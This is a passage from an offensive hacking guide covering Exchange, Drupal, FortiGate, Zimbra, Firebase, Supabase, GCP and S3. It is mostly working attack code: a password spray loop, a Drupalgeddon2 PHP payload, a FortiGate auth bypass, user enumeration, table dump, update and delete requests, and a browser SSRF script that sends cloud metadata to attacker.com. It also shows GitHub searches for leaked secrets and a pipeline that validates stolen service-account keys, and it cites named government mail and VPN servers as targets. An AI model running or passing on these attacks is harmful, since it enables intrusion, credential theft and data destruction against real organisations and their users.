Real-world case: OVH server with Laravel — .env, .git/config, storage/oauth-private.key all exposed in production (200 OK), exposing MySQL, SendGrid, cloud storage and Firebase credentials.

## 8.2 Spring Boot (Java)

# Actuators — POWERFUL if exposed
/actuator/env           → Environment variables (DB, secrets!)
/actuator/health        → Status
/actuator/beans         → Loaded beans
/actuator/mappings      → ALL application endpoints
/actuator/heapdump      → Heap download (contains credentials in memory!)
/actuator/loggers       → Logging configuration
/actuator/metrics       → Internal metrics
/actuator/prometheus    → Prometheus metrics

# Swagger/OpenAPI
/swagger-ui.html, /swagger-ui/index.html
/v2/api-docs, /v3/api-docs

# H2 Console (RCE if exposed)
/h2-console

# Indicative header:
# X-Application-Context: application:prod:8080

Real-world case: Health platform (Spring Boot) — Spring Boot in production with X-Application-Context: application:prod:8080. Actuators listed but blocked by F5 BIG-IP. If F5 bypass → full access to /actuator/env with database credentials.

## 8.3 ASP.NET / IIS

# Config files
/web.config, /web.config.bak

# Trace (if enabled)
/trace.axd

# Elmah (error log)
/elmah.axd

# ViewState (MAC validation)
# If MAC disabled → deserialization RCE

# WebDAV
# If PUT enabled → webshell upload

# ASP.NET versions
# Server: Microsoft-IIS/10.0
# X-AspNet-Version: 4.0.30319
# X-Powered-By: ASP.NET

Real-world case: Food industry — IIS 8.5 + ASP.NET 4.0 + ADFS exposed. Stack trace with internal Windows path leaked in 500 errors.

## 8.4 Exchange / OWA — Attack Surface

Exchange is the most common corporate email server in government and large companies. Runs on IIS and exposes multiple endpoints.

# 0. Identify Exchange
# Headers: X-OWA-Version, X-FEServer, X-AspNet-Version
# Ports: 443 (OWA/ECP/EWS), 25 (SMTP), 587 (SMTP TLS)

# 1. Default Exchange endpoints
for path in /owa/ /ecp/ /ews/Exchange.asmx /autodiscover/autodiscover.xml \
            /powershell/ /OAB/ /Microsoft-Server-ActiveSync/ /api/; do
  curl -skI "https://TARGET$path" | grep -iE "(HTTP|X-OWA|X-FE|X-Asp)"
done

# 2. Extract version from header
curl -skI "https://TARGET/owa/" | grep -i "X-OWA-Version"
# 15.1.2507.61 = Exchange 2016 CU23
# 15.2.1258.0  = Exchange 2019 CU14

# 3. Healthcheck (reveals internal server hostname!)
curl -sk "https://TARGET/OWA/healthcheck.htm"
# "200 OK<br/>ECBUE361.CNC.INTER" ← internal hostname + AD domain!
curl -sk "https://TARGET/ecp/healthcheck.htm"
# Same pattern

# 4. Detect authentication types
curl -skI "https://TARGET/ews/Exchange.asmx" | grep -i "www-auth"
# "Negotiate, NTLM, Basic realm=..." → Basic auth enabled!

### NTLM Challenge Capture — Extract Active Directory Information

import requests, base64

# Step 1: Send NTLM Type 1 (negotiation)
type1 = 'TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA='
r = requests.get("https://TARGET/ews/Exchange.asmx",
    headers={'Authorization': f'NTLM {type1}'})

# Step 2: Extract Type 2 (challenge) from WWW-Authenticate header
ntlm_b64 = r.headers['WWW-Authenticate'].split('NTLM ')[1]
ntlm_raw = base64.b64decode(ntlm_b64)

# Step 3: Parse Type 2 fields
sig = ntlm_raw[8:12]  # Must be \\x02\\x00\\x00\\x00 (msg type 2)

# Target Name (offset 12-20)
tgt_len = int.from_bytes(ntlm_raw[12:14], 'little')
tgt_off = int.from_bytes(ntlm_raw[16:20], 'little')
target_name = ntlm_raw[tgt_off:tgt_off+tgt_len].decode('utf-16-le')
print(f"Target Name: {target_name}")  # NetBIOS domain name

# Challenge (offset 24-32)
challenge = ntlm_raw[24:32]
print(f"NTLM Challenge: {challenge.hex()}")  # For offline cracking

# Target Info (AV_PAIRS) — contains gold!
ti_len = int.from_bytes(ntlm_raw[40:42], 'little')
ti_off = int.from_bytes(ntlm_raw[44:48], 'little')
target_info = ntlm_raw[ti_off:ti_off+ti_len]

av_pairs = {
    1: "NetBIOS Domain",
    2: "NetBIOS Computer",
    3: "DNS Domain",
    4: "DNS Computer",
    5: "DNS Tree",
    7: "Timestamp"
}
pos = 0
while pos + 4 <= len(target_info):
    av_id = int.from_bytes(target_info[pos:pos+2], 'little')
    av_len = int.from_bytes(target_info[pos+2:pos+4], 'little')
    if av_id == 0: break  # MsvAvEOL
    av_val = target_info[pos+4:pos+4+av_len]
    if av_id in av_pairs:
        val = av_val.decode('utf-16-le', errors='replace')
        print(f"{av_pairs[av_id]}: {val}")
    pos += 4 + av_len

What each field reveals:

FieldExampleUtility
NetBIOS DomainCNCDomain NetBIOS name
NetBIOS ComputerECBUE361Exchange server name
DNS Domaincnc.interComplete internal AD domain
DNS Computerecbue361.cnc.interInternal server FQDN
NTLM Challenge6178ba9de615e10eFor offline hash cracking

### Password Spray via Basic Auth

Exchange with Basic realm active allows password spray WITHOUT needing NTLM:

# Test credentials via EWS Basic Auth
for email in admin@target.com user@target.com; do
  for pw in Senha2024 Senha2025; do
    code=$(curl -sk -u "$email:$pw" -o /dev/null -w "%{http_code}" \
      "https://TARGET/ews/Exchange.asmx")
    [ "$code" = "200" ] && echo "✅ $email:$pw"
  done
done

### Exchange CVEs by Version

VersionBuildCritical CVEs
Exchange 2016 CU2315.1.2507.xCVE-2024-21410 (NTLM relay), CVE-2023-32031 (RCE), CVE-2022-41040/41082 (ProxyNotShell)
Exchange 2019 CU1415.2.1258.xCVE-2024-26198, CVE-2023-21529 (RCE), CVE-2023-21763 (auth bypass)
Exchange 201315.0.xProxyLogon (CVE-2021-26855+) — pre-auth RCE

Real-world case: mail.enacom.gob.ar — Exchange 2016 (15.1.2507.61) with:

  • NTLM Negotiate active on EWS, OAB, API
  • Basic realm exposed (“mail.enacom.gob.ar”)
  • Healthcheck revealed internal hostname: ECBUE361.CNC.INTER (AD domain: CNC.INTER)
  • OAuth and WS-Security enabled (headers: X-OAuth-Enabled: True)

## 8.5 Tomcat

# Manager apps (deploy WAR = RCE)
/manager/html
/host-manager/html

# Default credentials
# admin:admin, tomcat:tomcat, admin:password
# both:both, manager:manager, role1:role1

# If PUT deploy is enabled:
PUT /manager/text/deploy?path=/shell HTTP/1.1
Content-Type: application/octet-stream
<WAR file bytes>

## 8.6 Other Frameworks and Their Indicators

FrameworkHeaders/IndicatorsSensitive Surface
RailsServer: WEBrick, X-Runtime, X-Request-Id/sidekiq, /rails/mailers, /rails/info
ExchangeX-OWA-Version, X-FEServer, X-AspNet-Version, WWW-Authenticate: NTLM/owa/, /ecp/, /ews/Exchange.asmx, /autodiscover/, /powershell/
DjangoX-Frame-Options: DENY, CSRF token csrftoken/admin, /api/, /graphql/
Express/NodeX-Powered-By: Express/api/, /graphql, /health
AdonisJSError @adonisjs/http-server/health, /api/
FlaskServer: Werkzeug/.../console (debug), /api/
Nuxt.js__nuxt, __NUXT__ in HTML.output/, /api/, /_nuxt/
Next.js__NEXT_DATA__ in HTML/_next/, /api/, /_next/data/
DrupalDrupal in HTML, /sites/default//user/login, /node/, /rest/
JoomlaJoomla! in generator/administrator/, /components/
CodeIgniterci_session cookie/index.php/, ?ci_profiler=1
Drupal 6/7Drupal.settings in JS, /misc/, /modules/, /themes//update.php, /install.php, /xmlrpc.php, /cron.php, /user/login
CKAN/api/3/action/package_list, /dataset//api/3/action/organization_list (open data)
OpenCmsJSESSIONID, OpenCms/version/handle404, /opencms/opencms/secadmin/

## 8.7 Drupal — Attack Surface

Drupal 6 and 7 (EOL) are common in government and universities. Massive vulnerabilities:

# 1. Identify version
curl -s "https://TARGET/" | grep -oP 'Drupal\.settings|drupal\.org'
curl -s "https://TARGET/CHANGELOG.txt"
# robots.txt confirms Drupal: /misc/, /modules/, /profiles/, /themes/

# 2. Critical Drupal endpoints
# update.php (DB update — access may allow SQL!)
curl -sI "https://TARGET/update.php"
curl -s "https://TARGET/update.php?op=info"

# install.php (if present = risk!)
curl -sI "https://TARGET/install.php?profile=default"

# xmlrpc.php (active XML-RPC = same risk as WordPress)
curl -s -X POST "https://TARGET/xmlrpc.php" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'

# cron.php (executes scheduled tasks)
curl -sI "https://TARGET/cron.php"

# 3. Main CVEs
# CVE-2018-7600 (Drupalgeddon 2) — RCE via render arrays (Drupal 6/7/8)
#   Payload: POST /user/register?element_parents=account/mail/%23value&ajax_form=1
#   + form_id=user_register_form&mail[#type]=markup&mail[#markup]=<?php system('id');?>
# CVE-2019-6340 — RCE via RESTful Web Services (Drupal 8)
# CVE-2014-3704 (Drupalgeddon 1) — SQLi (Drupal 7)

# 4. Sensitive files
curl -s "https://TARGET/sites/default/files/.htaccess"
curl -s "https://TARGET/sites/default/settings.php"  # DB credentials!
curl -s "https://TARGET/sites/all/libraries/"

Real-world case: Government geographic agency — Drupal 6 + PHP 5.5.9 + Ubuntu 14.04:

  • update.php accessible with update instructions exposed
  • install.php present (500, but exists)
  • xmlrpc.php active (200)
  • cron.php accessible
  • Drupalgeddon2 applicable → potential RCE

## 8.8 Fortinet FortiGate SSL VPN — Attack Surface

VPN appliances are the most common entry point in 2024-2026. FortiGate is widely used in government.

# 1. Identify FortiGate
curl -skI "https://TARGET/" | grep -i "forti"
curl -sk "https://TARGET/remote/info"  # XML with config: salt, encmethod
curl -sk "https://TARGET/remote/login"  # Login page
curl -sk "https://TARGET/remote/fgt_lang?lang=en"  # 641KB language file → version!

# 2. CVEs by impact order
# CVE-2022-40684 — Auth bypass (CVSS 9.8)
#   curl -k -H "User-Agent: Node.js/12.0.0" \
#     -H "X-Forwarded-For: 127.0.0.1" \
#     "https://TARGET/api/v2/cmdb/system/admin" 
#   → Returns admin users WITHOUT authentication!

# CVE-2023-27997 — Heap overflow SSL-VPN (pre-auth RCE)
# CVE-2024-21887 — Command injection SSL-VPN (pre-auth RCE)
# CVE-2024-22024 — XXE → file read

# 3. Fingerprinting via headers
curl -skI "https://TARGET/remote/login" | grep -iE "(server|set-cookie|www-authenticate)"

Real-world case: vpn.orgao.gov.ar — FortiGate SSL VPN exposed:

  • /remote/info accessible exposing salt and encmethod='0'
  • /remote/fgt_lang → 641KB of strings for fingerprinting
  • /remote/logincheck — authentication endpoint
  • /remote/portal — SSL VPN Web Portal

## 8.9 CKAN Open Data — 100% Open API

CKAN is an open data platform common in governments. The API is public by design and exposes metadata from thousands of datasets:

# 1. Identify CKAN
curl -s "https://TARGET/" | grep -i "ckan\|dataset"
curl -s "https://TARGET/api/3/action/package_list"  # Lists all datasets

# 2. Enumerate organizations (who publishes data)
curl -s "https://TARGET/api/3/action/organization_list?all_fields=true" | \
  jq '.result[] | {name, package_count: .package_count}'

# 3. List datasets from an organization
curl -s "https://TARGET/api/3/action/package_search?q=organization:org-name&rows=1000" | \
  jq '.result.results[] | {name, title, resources: [.resources[].url]}'

# 4. Search for specific datasets
curl -s "https://TARGET/api/3/action/package_search?q=password" | jq '.result.count'

# 5. Tags, groups, licenses
curl -s "https://TARGET/api/3/action/tag_list"
curl -s "https://TARGET/api/3/action/group_list"

Real-world case: datos.gob.ar — CKAN with:

  • 45 Argentine government organizations
  • 1000+ public datasets
  • Completely open API without authentication
  • Spring Boot Actuator returning 500 (potential info disclosure)

## 8.10 Zimbra — Attack Surface

Zimbra is a common email/collaboration server in government. Multiple critical CVEs. The surface is rich:

### Essential Endpoints

# 1. Identify Zimbra
curl -skI "https://TARGET/" | grep -i "zimbra"
# /zimbra/ path, /zimbraAdmin/, cookies ZM_TEST, JSESSIONID

# 2. Map endpoints
for path in / /robots.txt /service/soap /service/admin/soap \
            /service/upload /service/proxy /zimbraAdmin/ \
            /zimbra/ /public/ /m/ /js/Startup1_2_all.js; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET$path")
  echo "$path$code"
done
# /service/upload = UploadServlet (POST 200 = active!)
# /service/proxy = proxy SSRF (401 = exists, requires auth)
# /public/ = public directory (403 = exists, blocked)
# /m/ = mobile client (302 = active, redirects)

### SOAP User Enumeration

Zimbra differentiates existing from non-existing users through SOAP error messages:

import requests, re

soap_template = '''<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
  <soap:Body>
    <AuthRequest xmlns="urn:zimbraAccount">
      <account by="name">{user}</account>
      <password>wrongpass</password>
    </AuthRequest>
  </soap:Body>
</soap:Envelope>'''

for user in ['admin', 'root', 'compras', 'backup', 'info']:
    body = soap_template.format(user=user)
    r = requests.post("https://TARGET/service/soap", data=body,
        headers={'Content-Type': 'application/soap+xml'})
    fault = re.findall(r'<soap:Text>(.*?)</soap:Text>', r.text)

    if fault:
        msg = fault[0]
        if 'authentication failed' in msg:
            print(f"{user}: EXISTS (wrong password)")  # ← USER EXISTS
        elif 'maintenance mode' in msg:
            print(f"{user}: EXISTS (maintenance mode!)")  # ← EXISTS + maintenance mode
        elif 'no such account' in msg:
            print(f"{user}: DOES NOT EXIST")  # ← DOES NOT EXIST (rare, only on old versions)

Message patterns:

  • authentication failed for [user] → user EXISTS (or generic response — confirm with other methods)
  • account is in maintenance mode → user EXISTS and is in maintenance mode (CONFIRMED!)
  • no such account → user DOES NOT exist (old versions)

### UploadServlet — Path Traversal (CVE-2022-37042)

The /service/upload endpoint accepts file uploads. In vulnerable versions, the filename parameter accepts path traversal:

# Test UploadServlet
curl -sk -X POST "https://TARGET/service/upload" \
  -F "file=@test.txt;filename=../../../opt/zimbra/data/tmp/evil.txt"

# Normal response (401): requires authentication
# Response 200 with attachmentId = functional, try path traversal

### /service/proxy — Internal SSRF

If authenticated, the Zimbra proxy can be used for SSRF on the internal network:

# Requires authentication cookie
curl -sk "https://TARGET/service/proxy?target=http://127.0.0.1:7071/zimbraAdmin/" \
  -H "Cookie: ZM_AUTH_TOKEN=..."

### SOAP Trace IDs — Environment Info

SOAP errors include Trace IDs that reveal server information:

<Trace>qtp66233253-9975:1782161969125:0daaf6c77a00b8c8</Trace>
# qtp = Jetty thread pool (embedded server)
# internal timestamp in Unix epoch format

### Version Fingerprinting

# 1. Startup JS bundles (1854KB+ with internal versions)
curl -sk "https://TARGET/js/Startup1_2_all.js" | grep -oP 'ZmSetting.*?'

# 2. Response headers
curl -skI "https://TARGET/" | grep -iE "(x-zimbra|server|set-cookie|zimbra)"

# 3. Admin error on port 443
curl -sk "https://TARGET/zimbraAdmin/"
# "Request not allowed on port 443" → Admin EXISTS on internal port

### CVEs by Version

VersionBuildCVEs
8.8.11GA 2019CVE-2022-27925 (RCE memcache), CVE-2022-37042 (auth bypass), CVE-2023-37580 (XSS)
8.8.15GA 2020CVE-2022-27925, CVE-2022-37042, CVE-2022-24682 (ATO)
9.0.02021+CVE-2022-37042, CVE-2023-37580
10.0.x2023+CVE-2023-37580, CVE-2024-45579 (auth bypass)

Real-world case: mail.ign.gob.ar — Zimbra 8.8.11_GA_3787:

  • /service/upload returns 200 (UploadServlet active, requires auth)
  • /service/soap functional — user admin confirmed, compras in maintenance mode
  • /service/proxy returns 401 (exists, requires authentication)
  • /zimbraAdmin/ returns “Request not allowed on port 443” (Admin exists behind firewall)
  • /m/ mobile client active (302 → jsessionid)

# 9. CLOUD FUNCTIONS & SERVERLESS (GCP, AWS)

## 9.1 URL Patterns (GCP)

https://{REGION}-{PROJECT_ID}.cloudfunctions.net/{FUNCTION_NAME}
https://us-central1-{PROJECT_ID}.cloudfunctions.net/api/feed

## 9.2 Finding the PROJECT_ID

# Common company name variations
projects = ["empresa", "empresa-app", "empresa-prod", "empresa-dev",
            "empresa-1", "empresa-12345", "app-empresa", "admin-1a2b3"]
regions = ["us-central1", "us-east1", "southamerica-east1", "europe-west1"]

for proj in projects:
    for region in regions:
        url = f"https://{region}-{proj}.cloudfunctions.net/api/feed?limit=1"
        try:
            r = requests.get(url, timeout=5)
            if r.status_code != 404 and len(r.text) > 20:
                print(f"✅ {url} -> {r.status_code} | {r.text[:100]}")
        except:
            pass

## 9.3 Testing HTTP Methods (GET, POST, PUT, DELETE)

methods = {
    "GET": requests.get,
    "POST": lambda u: requests.post(u, json={"test": "test"}),
    "PUT": lambda u: requests.put(u, json={"test": "test"}),
    "DELETE": lambda u: requests.delete(u),
}

for method_name, method_func in methods.items():
    try:
        r = method_func(url)
        if r.status_code not in [401, 403, 404, 405]:
            print(f"⚠️  {method_name} {url} -> {r.status_code} (ACCEPTED!)")
        else:
            print(f"   {method_name} {url} -> {r.status_code}")
    except:
        pass

Real-world case (CRITICAL): 6 Cloud Functions of the fitness tech company ecosystem with:

  • GET without auth → dump of 15,800+ posts, 389+ users, real student data
  • DELETE without auth → confirmed destruction of production data (tested with real IDs)
  • Reflected CORS on ALL 6 functions → drive-by attack possible
  • 705 PDF tokens leaked from one of the functions

## 9.4 Source Code Buckets (GCP)

Every Cloud Function has its source code stored in GCS buckets:

gcf-sources-{PROJECT_NUMBER}-{REGION}
gcf-v2-sources-{PROJECT_NUMBER}-{REGION}

If the SA key has read permission, the source code can be downloaded:

const {Storage} = require('@google-cloud/storage');
const storage = new Storage({credentials: sa});
const bucket = storage.bucket('gcf-sources-706681009423-us-central1');
const [files] = await bucket.getFiles();
for (const f of files.filter(f => f.name.endsWith('.zip'))) {
    await f.download({destination: '/tmp/' + f.name.replace(/\//g, '_')});
}

# 10. FIREBASE, FIRESTORE & GCP EXPLOITATION

## 10.1 Firebase API Key → What It Allows

The Firebase API Key (found in JS bundles, apps) is NOT secret, but allows:

  • Firebase Auth: create accounts (signUp), login (signIn)
  • Firestore: if security rules allow public read/write
  • Storage: if rules allow public access
  • Realtime Database: if rules allow it
// Typical Firebase Config found in JS bundles:
const firebaseConfig = {
  apiKey: "AIzaSyC...",
  authDomain: "project.firebaseapp.com",
  projectId: "project-id",
  storageBucket: "project-id.appspot.com",
  messagingSenderId: "123456789",
  appId: "1:123456789:web:abcdef..."
};

## 10.2 Open SignUp — Create Account Without Invite

curl -s "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@domain.com","password":"Senha123!","returnSecureToken":true}'

# Response includes:
# - idToken (Firebase JWT to use with APIs)
# - localId (user UID)
# - refreshToken

Real-world case: Delivery platform — open signUp in Firebase project. Creating an account gave read access to 204K WhatsApp conversations, 173K customer phone numbers, and public storage with 1K+ MP3 audio files.

## 10.3 Firestore — Test Public Access

# List collections (requires SDK, not direct REST)
# But via REST API:

# Try to list documents from common collections
curl -s "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/users?key=$API_KEY"
curl -s "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/stores?key=$API_KEY"
curl -s "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/conversations?key=$API_KEY"

# If security rules are misconfigured → FULL DUMP

# Test WRITE (PATCH)
curl -X PATCH "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/stores/{ID}?updateMask.fieldPaths=fieldName" \
  -H "Content-Type: application/json" \
  -d '{"fields":{"fieldName":{"stringValue":"test"}}}'

Real-world case (CRITICAL): Delivery platform — 3 Firebase projects with public Firestore:

  • {project}-app: 4,000 stores (CNPJ, GPS, phone, menu) + PATCH write confirmed
  • {project}-whatsapp-bot: 204K WhatsApp conversations, 173K customer phone numbers, order content and addresses
  • Storage {project}-whatsapp-bot-media: 1K+ public MP3 audio files

## 10.4 Service Account Key — Escalation to GCP

If you find an SA key (JSON with private_key and client_email):

import json, base64, time, requests
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding as pad
from cryptography.hazmat.backends import default_backend

def get_gcp_token(sa_key):
    """Generates a GCP access token from an SA key."""
    now = int(time.time())
    header = base64.urlsafe_b64encode(
        json.dumps({"alg":"RS256","typ":"JWT"}).encode()
    ).rstrip(b'=').decode()
    claims = {
        "iss": sa_key['client_email'],
        "scope": "https://www.googleapis.com/auth/cloud-platform",
        "aud": sa_key['token_uri'],
        "iat": now,
        "exp": now + 3600
    }
    payload = base64.urlsafe_b64encode(json.dumps(claims).encode()).rstrip(b'=').decode()
    key = load_pem_private_key(
        sa_key['private_key'].encode(), password=None, backend=default_backend()
    )
    signature = base64.urlsafe_b64encode(
        key.sign(f'{header}.{payload}'.encode(), pad.PKCS1v15(), hashes.SHA256())
    ).rstrip(b'=').decode()
    
    resp = requests.post(sa_key['token_uri'],
        data=f'grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer&assertion={header}.{payload}.{signature}'.encode(),
        headers={'Content-Type':'application/x-www-form-urlencoded'}, timeout=10)
    return resp.json()['access_token']

# With the token, list IAM policy (find owners/admins)
r = requests.get(
    f'https://cloudresourcemanager.googleapis.com/v1/projects/{project_id}:getIamPolicy',
    headers={'Authorization': f'Bearer {token}'}
)
for binding in r.json().get('bindings', []):
    if binding['role'] in ['roles/owner', 'roles/editor']:
        print(f"👑 {binding['role']}: {binding['members']}")

# List Storage buckets
r = requests.get(
    f'https://storage.googleapis.com/storage/v1/b?project={project_id}',
    headers={'Authorization': f'Bearer {token}'}
)
for bucket in r.json().get('items', []):
    print(f"📦 {bucket['name']}")

# Test Firestore access
r = requests.get(
    f'https://firestore.googleapis.com/v1/projects/{project_id}/databases/(default)/documents',
    headers={'Authorization': f'Bearer {token}'}
)
if r.status_code == 200:
    print("🔥 FIRESTORE ACCESSIBLE")

# 11. SUPABASE EXPLOITATION

## 11.1 What it Is and How to Find It

Supabase is an open-source BaaS (Backend as a Service), alternative to Firebase. Uses PostgreSQL + REST API + Auth + Storage.

Indicators:

  • Headers: sb-api-version, x-sb-auth, x-supabase
  • URL: https://{project_id}.supabase.co
  • JS bundles: supabaseUrl, supabaseKey, SUPABASE_ANON_KEY
  • Domain: *.supabase.co

## 11.2 Anon Key — What It Allows

The “anon key” is a JWT found in JS bundles. With it, you can:

  • Read tables: if Row Level Security (RLS) is not configured
  • Write (INSERT/UPDATE/DELETE): if RLS doesn’t protect
  • SignUp: if the email provider is enabled
  • Storage: read buckets with public policies

## 11.3 Table and Data Enumeration

ANON_KEY="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
PROJECT="gfgmuezavgzjmaxhflsu"

# List ALL tables (if RLS is broken) — test common names
for table in users profiles posts products orders \
             clients companies messages conversations \
             relatorios relatorio purchase etapa; do
  curl -s "https://${PROJECT}.supabase.co/rest/v1/${table}?limit=1" \
    -H "apikey: ${ANON_KEY}" \
    -H "Authorization: Bearer ${ANON_KEY}" | head -c 200
  echo ""
done

# Table dump (if accessible)
curl -s "https://${PROJECT}.supabase.co/rest/v1/users?select=*&limit=100" \
  -H "apikey: ${ANON_KEY}" \
  -H "Authorization: Bearer ${ANON_KEY}"

# Test UPDATE
curl -X PATCH "https://${PROJECT}.supabase.co/rest/v1/etapa?id=eq.1" \
  -H "apikey: ${ANON_KEY}" \
  -H "Authorization: Bearer ${ANON_KEY}" \
  -H "Content-Type: application/json" \
  -H "Prefer: return=minimal" \
  -d '{"status":"hacked"}'

# Test DELETE
curl -X DELETE "https://${PROJECT}.supabase.co/rest/v1/relatorio?id=eq.1" \
  -H "apikey: ${ANON_KEY}" \
  -H "Authorization: Bearer ${ANON_KEY}"

# SignUp (if open)
curl -X POST "https://${PROJECT}.supabase.co/auth/v1/signup" \
  -H "apikey: ${ANON_KEY}" \
  -H "Content-Type: application/json" \
  -d '{"email":"test@test.com","password":"Test123!"}'

# Storage — list buckets
curl -s "https://${PROJECT}.supabase.co/storage/v1/bucket" \
  -H "apikey: ${ANON_KEY}" \
  -H "Authorization: Bearer ${ANON_KEY}"

Real-world case (CRITICAL): Traffic management platform — Supabase with RLS turned off. Anon key exposed in the JS bundle.

  • 64,105 users: id, name, email, phone, company, role
  • 46,717 reports: url_pdf (public), radar data
  • 676 purchases: CPF (SSN), address, phone, product, amount
  • 232,000+ questionnaire responses
  • UPDATE and DELETE confirmed (worked with anon key)
  • Open SignUp: anyone could create an account

# 12. CLOUD RUN, CONTAINERS & ARTIFACT REGISTRY

## 12.1 List Cloud Run Services

const {v2} = require('@google-cloud/run');
const client = new v2.ServicesClient({credentials: sa});
const [services] = await client.listServices({
    parent: 'projects/' + projectId + '/locations/us-central1'
});
for (const svc of services) {
    console.log(svc.name, svc.uri, svc.ingress);
    // ingress: "all" = public, "internal" = VPC only
}

## 12.2 Artifact Registry — Download and Analyze Images

# List repositories
r = requests.get(
    f'https://artifactregistry.googleapis.com/v1/projects/{project}/locations/{region}/repositories',
    headers={'Authorization': f'Bearer {token}'}
)

# Download specific image manifest
digest = "sha256:XXXXX"
r = requests.get(
    f'https://{region}-docker.pkg.dev/v2/{project}/{repo}/{image}/manifests/{digest}',
    headers={'Authorization': f'Bearer {token}',
             'Accept': 'application/vnd.docker.distribution.manifest.v2+json'}
)

# Download layers
for i, layer in enumerate(r.json().get('layers', [])):
    r2 = requests.get(
        f'https://{region}-docker.pkg.dev/v2/{project}/{repo}/{image}/blobs/{layer["digest"]}',
        headers={'Authorization': f'Bearer {token}'}
    )
    with open(f'/tmp/layer_{i}.tar.gz', 'wb') as f:
        f.write(r2.content)

# Extract and search for secrets
# tar -xzf layer.tar.gz
# grep -r "MIGRATION_TOKEN\|APP_KEY\|DB_PASSWORD\|secret\|password" . --include="*.js" --include="*.ts" --include="*.json" --include=".env"

# 13. S3 / MINIO / BLOB STORAGE

## 13.1 S3 — AWS

# Test if bucket is public
curl -s "http://bucket-name.s3.amazonaws.com/"
# If XML with <ListBucketResult> is returned → PUBLIC LISTING

# Upload (if writable)
curl -X PUT "http://bucket-name.s3.amazonaws.com/test.txt" \
  -H "Content-Type: text/plain" \
  -d "pwned"

# Test common bucket names
buckets=("target" "target-prod" "target-dev" "target-images"
         "target-uploads" "target-backup" "target-media"
         "download.target.com" "static.target.com")

for b in "${buckets[@]}"; do
  r=$(curl -sk -o /dev/null -w "%{http_code}" "https://$b.s3.amazonaws.com/" 2>/dev/null)
  if [ "$r" != "404" ]; then
    echo "$b -> HTTP $r"
  fi
done

## 13.2 MinIO (S3-compatible, common on VPS)

# Health check
curl -sI "http://host:9000/minio/health/live"

# Admin API (versions v1, v3)
curl -s "http://host:9000/minio/admin/v3/info"

# Web console login (port 9001)
curl -s "http://host:9001/api/v1/login"  # GET → {"loginStrategy":"form"}
curl -X POST "http://host:9001/api/v1/login" \
  -H "Content-Type: application/json" \
  -d '{"accessKey":"minioadmin","secretKey":"minioadmin"}'

# List bucket objects
curl -s "http://host:9000/bucket-name?list-type=2"

# Upload
curl -X PUT "http://host:9000/bucket-name/file.html" \
  -H "Content-Type: text/html; charset=utf-8" \
  -d "<h1>Pwned</h1>"

## 13.3 Azure Blob Storage

# URL pattern
# https://{storage_account}.blob.core.windows.net/{container}

# Test public listing
curl -s "https://storageaccount.blob.core.windows.net/container?restype=container&comp=list"

## 13.4 SSRF via Public Buckets

If a bucket is publicly writable and serves HTML with the correct Content-Type:

<script>
// SSRF via victim's browser
async function ssrf() {
  let targets = [
    'http://localhost:8080/actuator/env',
    'http://127.0.0.1:9200/',
    'http://169.254.169.254/latest/meta-data/',  // AWS metadata
  ];
  for (let url of targets) {
    try {
      let r = await fetch(url);
      let data = await r.text();
      new Image().src = 'https://attacker.com/exfil?data=' + encodeURIComponent(data);
    } catch(e) {}
  }
}
ssrf();
</script>

# 14. CODE LEAKS — GITHUB, GITLAB, DOCKER HUB, NPM

## 14.1 GitHub Code Search — The Most Effective Tool

With personal token (much better results than without auth):

# Setup
gh auth login
GH_TOKEN=$(gh auth token)

### Search Patterns That Work

headers = {"Authorization": f"token {GH_TOKEN}"}
base = "https://api.github.com/search/code"

# SA Keys (Firebase/GCP) — ~1 in 30 is valid
params = {"q": '"type": "service_account" "private_key" "project_id"'}

# .env with real credentials
params = {"q": 'DB_PASSWORD+DB_HOST+APP_KEY+filename:.env+NOT+example+NOT+your+NOT+test'}

# Supabase URLs + keys
params = {"q": 'supabase.co+SUPABASE_URL+SUPABASE_ANON_KEY+NOT+example+NOT+your'}

# AWS Keys
params = {"q": 'AKIA+filename:.env+NOT+example+NOT+your'}

# SendGrid keys
params = {"q": 'SG.+filename:.env+NOT+example'}

# MongoDB connection strings
params = {"q": 'mongodb+srv://+password+extension:env+NOT+example'}

# Specific Firebase SA keys
params = {"q": 'firebase-adminsdk+private_key_id+private_key+extension:json+NOT+test'}

# Google OAuth credentials
params = {"q": '"client_id" "client_secret" "redirect_uris" extension:json'}

# Mercado Pago keys
params = {"q": 'APP_USR- extension:js NOT example NOT test'}

# Laravel .env with secrets
params = {"q": 'APP_KEY=base64 filename:.env NOT example'}

## 14.2 Pipeline for Testing SA Keys Found on GitHub

import glob, json

def test_sa_key(sa_json):
    """Tests whether an SA key found on GitHub is still valid and generates a token."""
    from cryptography.hazmat.primitives import hashes, serialization
    from cryptography.hazmat.primitives.asymmetric import padding as pad
    from cryptography.hazmat.backends import default_backend
    import base64, time, requests

    now = int(time.time())
    header = base64.urlsafe_b64encode(json.dumps({"alg":"RS256","typ":"JWT"}).encode()).rstrip(b'=').decode()
    claims = {"iss": sa_json['client_email'],
              "scope": "https://www.googleapis.com/auth/cloud-platform",
              "aud": sa_json['token_uri'], "iat": now, "exp": now+3600}
    payload = base64.urlsafe_b64encode(json.dumps(claims).encode()).rstrip(b'=').decode()
    key = load_pem_private_key(sa_json['private_key'].encode(), password=None, backend=default_backend())
    signature = base64.urlsafe_b64encode(
        key.sign(f'{header}.{payload}'.encode(), pad.PKCS1v15(), hashes.SHA256())
    ).rstrip(b'=').decode()
    resp = requests.post(sa_json['token_uri'],
        data=f'grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer&assertion={header}.{payload}.{signature}'.encode(),
        headers={'Content-Type':'application/x-www-form-urlencoded'}, timeout=10)
    if resp.status_code == 200:
        return True, resp.json().get('access_token')
    return False, None

# Find and test SA keys
for fpath in glob.glob('/tmp/sa_key_*.json'):
    with open(fpath) as f:
